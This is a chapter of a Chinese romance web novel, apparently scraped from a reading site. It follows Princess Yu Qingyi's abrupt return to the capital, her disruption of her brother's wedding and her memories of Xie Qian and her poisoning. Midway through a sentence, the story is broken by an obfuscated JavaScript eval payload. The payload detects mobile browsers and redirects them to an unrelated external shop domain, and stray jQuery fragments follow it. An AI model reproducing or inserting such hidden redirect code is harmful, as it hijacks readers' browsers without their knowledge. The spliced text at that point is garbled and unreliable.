默认冷灰
24号文字
方正启体

2. 棠花该落了吧

作者:觉都本书字数:K更新时间:
    “靖宁你——”虞青泽看了眼左右,最后还是开口打破了寂静。


    “——闭嘴。”虞青忆看也不看他,而是偏过头直直望向了谢迁。


    她的眼神亮了亮,却又不知是想起了什么,眼底的亮光一点一点黯淡了下去,最后谢迁竟从她的眼神里看出了几分委屈来。


    谢迁眼睫颤了颤,听见她终于开口,声音却有些哑:“谢迁,我的棠花酪呢?”


    什、什么?


    一众宾客有些摸不着头脑,不明白这位名震京都的靖宁公主突然回京,第一件事就是率禁军围了二皇子府,难道就只是为了一碗劳什子棠花酪?


    还真是……


    “荒唐至极!”柳止言在人群中高声喝道,“公主未经陛下准许就私自回京,如今又带兵围了皇子府,居心何在啊?”


    柳止言话音刚落,周围站得近些的人连忙向后退去,生怕自己离得近就成了被殃及的池鱼。


    他这话的弦外之意谁都能听得明白,虞青忆也更是不耐烦理他,直接抬了抬手让几名禁军上前把他按住绑了,顺带还堵上了他的嘴。


    一旁跟着的清商生怕虞青忆疯劲儿上来把人给……毕竟是二皇子大婚,见血总是不太吉利的。再者说,这柳大人到底还是位御史,若是在这众目睽睽之下把人杀了,这边不好收场不说,回头陛下那里也不好交代啊。


    清商提心吊胆,正想悄悄提醒虞青忆一声,却听见她家殿下轻轻地笑了下,接着开口:“南有樛木,葛藟累之,乐只君子,福履绥之。


    南有樛木,葛藟荒之,乐只君子,福履将之。


    南有樛木,葛藟萦之,乐只君子,福履成之。”*


    虞青忆将视线转向礼官,眼神一片清明:“可有耽误吉时?”


    缩在角落的礼官没想到她会突然这么问自己,有些紧张地抬头看一眼天色,磕磕巴巴地答道:“没、没有……”


    虞青忆满意地颔首:“那就好,别误了时辰。”说着将一个什么东西丢去了虞青泽的方向,“收收你的性子吧,别亏待了王妃。”


    虞青泽抬手接住,是一个锦袋,里面满满当当地装着金叶子,他嘴角抽了抽,抬头却发现虞青忆已经转身向外走去了:“今日来得急,贺礼等过几日补了送你府上。”


    *


    虞青忆迈出二皇子府的大门,脚步这才慢下来,心里一直紧绷的弦也终于松缓下来。


    骤然的放松让她感觉全身大半的力气都被抽走,有些脱力地踉跄了半步。


    刚刚她意识混沌,以为今日是有人逼了谢迁成婚。只要适才他说一句不愿,她就能立刻带他走。


    虞青忆暗自庆幸,幸好她还有一线理智残存,不然今天的婚宴就要见血了。


    只是自己总归还是对不住新过门的二皇子妃。今日是人家大喜的日子,平白受了一场惊吓不说,还差点被她误了吉时。


    这事怎么说确实是自己的过错,只能以后慢慢补偿她了,虞青忆暗自想着。


    “殿下,”一位禁军将领在她面前站定,看上去似乎很激动,“殿……殿下您可还记得属下?”


    虞青忆思绪被打断也没生气,只是面前这人也确实眼熟。她耐着性子想了半天,终于有了点印象:“……你是那个半夜溜出去摘海棠果的——”


    “对对对!”那将领喜出望外,这才想起来什么,手忙脚乱地给她行礼,“属下卫五见过殿下。”


    没想到在这儿还能再见到他。虞青忆慢慢扯出个笑来。


    上次见他,还是三年前在战场上。


    这人姓卫。也许本来就没有名字,他没有同乡,也没人认识他,谁也不知道他叫什么,只是听他说在家中行五,于是就都叫他卫五。


    “殿下,”卫五望向虞青忆,一脸希冀,“您这次回京……”


    虞青忆揉着额角嗯了一声:“这次回来就不走了。”


    “殿下放心,”卫五满脸欢喜,直了直腰板,声音洪亮:“属下就在禁军营,一定不辜负殿下栽培!”


    “行了,”虞青忆没力气跟他再耗下去了,“你先回去吧。”


    卫五行了个礼跑远了。


    虞青忆按了按突突直跳的太阳穴,脚下一个踉跄险些没站住。她撑着一旁伸过来扶她的手,闭了闭眼:“清商,”她的声音哑的厉害,“幸好我刚刚想了个法子让自己清醒了,不然——”


    “殿下,”谢迁的声音骤然响起,打断了她的话。虞青忆有些发愣,她扭头,对上谢迁明显压着火气的目光,听见他问,“这就是你想出来的好法子?”


    他托着虞青忆的左手,上面血淋淋一道口子,深可见骨。


    谢迁料定了她想赖也赖不掉——这明显是道新伤。


    虞青忆有些心虚,移开视线装作头晕的样子:“清商呢?刚刚不是还扶着我呢么?我毒……我要回府。”


    “清商带人撤兵去了,”谢迁面色又黑了一层,“刚才扶你的人是我。”


    虞青忆哦了一声便不再说话,谢迁见宫延驾车停在了不远处,就扶了虞青忆朝马车的方向走去。


    等到上了车,虞青忆才掀了车帘,看向外面的谢迁,出声道:“谢迁?”


    “嗯。”一旁的清商倒了杯茶递过去。


    虞青忆一饮而尽,又开口:“谢明德?”


    谢迁动作一顿,还是又应了声:“嗯。”


    “……棠花该落了吧。”


    谢迁心里猛地一阵抽疼。他动了动唇想说什么,偏头一看,虞青忆已然阖了眼睛歪在小几上睡着了。


    谢迁抬手,手背虚虚触到虞青忆额头,温度高得烫手。他目光一沉,扬声对在前驾车的宫延说道:“带殿下回府!”


    *


    虞青忆这一觉睡得极不安稳。今日回京见到了许多故人,从前的一些被她刻意压下不去回想的记忆,这会儿全都叫嚣着翻滚着涌了上来。


    她心里乱得很,一个梦连着一个梦地做。


    一会儿梦到打了胜仗,他们都围在篝火旁,烤着刚刚猎来的野兔野鸡,听卫五大吹特吹他之前在战场上的英勇事迹。


    一会儿又梦到自己还在资善堂跟着亓太傅读圣贤书。


    那时候谢迁是二皇子伴读,端的是君子如玉,温言敏事,活脱脱书上的君子再世。


    但虞青忆也与他没什么交集,算起来勉强能论个同窗之谊。她也总觉得这人表面上的温和有礼太过完美,这底下指不定掩着什么秘密。虞青忆对别人的秘密不感兴趣,也不愿去招惹这种心思深的人,于是互不打扰,两厢安好,日子过得也还算安稳。


    后来她被那群御史联合起来骂了个体无完肤,父皇叫她在宫中思过半月,自然资善堂她也就去不得了。


    但从那日起,每天都有人遣宫人来给她送亓太傅每日讲学的笔记和布置的课业,日日不落。


    虞青忆没多问,只是每日规规矩矩完成课业,然后连同她的回礼一齐放到门口,她知道,会有人来取走的。


    说是回礼,其实就是些她平日搜罗来的小物件,诸如什么竹子雕的故事小画,或者是几只憨态可掬的小瓷猫。东西不贵重,聊表心意,对方不好推辞,将来若是被发现,她也不会被说私相授受,落人话柄,这个度她把握得极好。


    况且,她知道对方是谁,从一开始就知道。


    那样风刀剑骨又温畅似水的字迹,除了谢迁,再不会有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191750|197082||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    旁人了。


    虞青忆翻了个身,朦朦胧胧间睁了睁眼,失去意识前的记忆就尽数涌了过来。


    她心下一惊,唰地睁开眼睛。


    她盯着头顶上的帐子定了定神,然后动了下身子想慢慢坐起来。


    “殿下醒了?”清商听见屋里的动静,打了帘子进来,过去把虞青忆扶起来顺便又把桌上的温茶递过去:“方才陛下叫太医来瞧过了,说您这是受了风寒才会起烧,开的方子奴婢看过了,都是对症的药,倒也没什么问题,就吩咐人去煎了。”


    几口温茶下肚,虞青忆的意识慢慢清醒过来,闻言也只是不置可否地点点头。然后就看见清商捧着她的左手,嘴瘪了瘪像是快要哭出来了:“殿下您的手......这得多疼啊......”清商心疼道,“刚才太医还问起来,我编了个理由搪塞过去了,太医给您留了几瓶药膏,还说您这伤口有点深,得静养几个月才行。”


    虞青忆晃了晃自己缠着纱布的手,满不在乎:“今天我要是不划上这一刀,怕是我那皇兄府上的人就该死了大半了。”


    所以您当时就是想杀了柳止言吧!


    清商认命般叹了口气,接着说道:“陛下刚刚派人给您送了好些东西来,还说让您好好休养一阵子再去见他。哦,对了——”


    “清商,”虞青忆没耐心再听清商说她父皇这般那般了,于是开口,“等告诉云徵一声,叫她过几日回京的时候别忘了把我厢房里那几个书架上的书都给搬来。”


    清商自然知道那都是些什么书。


    那会儿殿下才刚中毒不久,整日整夜地昏睡,怎么都叫不醒。


    于是她就赶忙把还在外行医的云徵给叫了回来。


    云徵风尘仆仆地赶回来后,一看殿下的样子就眉头紧锁,诊完脉后也只是言简意赅地说了句:“殿下中毒了。”


    似乎也觉得自己的话过于简略,云徵想了想又补了句:“而且不是一种,是很多种毒掺杂在一块。虽然这几种单拎出来都是常见毒,但是混到一起反而不好解了。看殿下的样子,这毒拖了也该有三四日了,毒性已经在体内积淀渗透,要想根除,短期内是不可能的了。现下只能先解一部分毒性让殿下醒过来,剩下的等日后再慢慢清理。”


    当时清商她们几个也不懂这些,只是紧张地上前问:“有几成把握?”


    云徵坦然道:“三成。”


    还不如不问呢。


    最后,清商几个看着躺在床上不省人事的殿下,咬了咬牙:“三成就三成,云徵你解毒吧。”


    后来殿下终于醒了,没傻也没疯,睁开眼第一句话就是问:“他怎么样了?”


    清商自然清楚她口中的这个“他”是谁,想起自己听到的消息,心里发苦,但也不敢隐瞒:“前日放榜,谢公子中了状元,琼林宴上,三皇子醉酒,说起您的事来,谢公子说当年随您北伐戎狄是奉命行事,他还说......还说......”清商觑了她家殿下一眼,心一横,“他说对您不甚了解!”


    那时的殿下听完浑身发颤,随后竟直接吐了口血出来:“......谢迁你真是......好得很!”


    从那以后,殿下吃饭吃药一切如常,只是性情一点点变了。


    也是从那时候起,殿下开始收集一些话本子了,什么样的都有,但大概情节却都是相似的。有一本算一本,统统都堆到厢房专门腾出来那十几个书架上,到现在也差不多快放满了。


    清商忍不住又叹了口气。


    三年了,当年明艳耀眼的公主和怀瑾握瑜的状元郎都沦落为话本里的笑柄了。


    *:出自《诗经·周南·樛木》,是君子成婚时对其的祝福。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)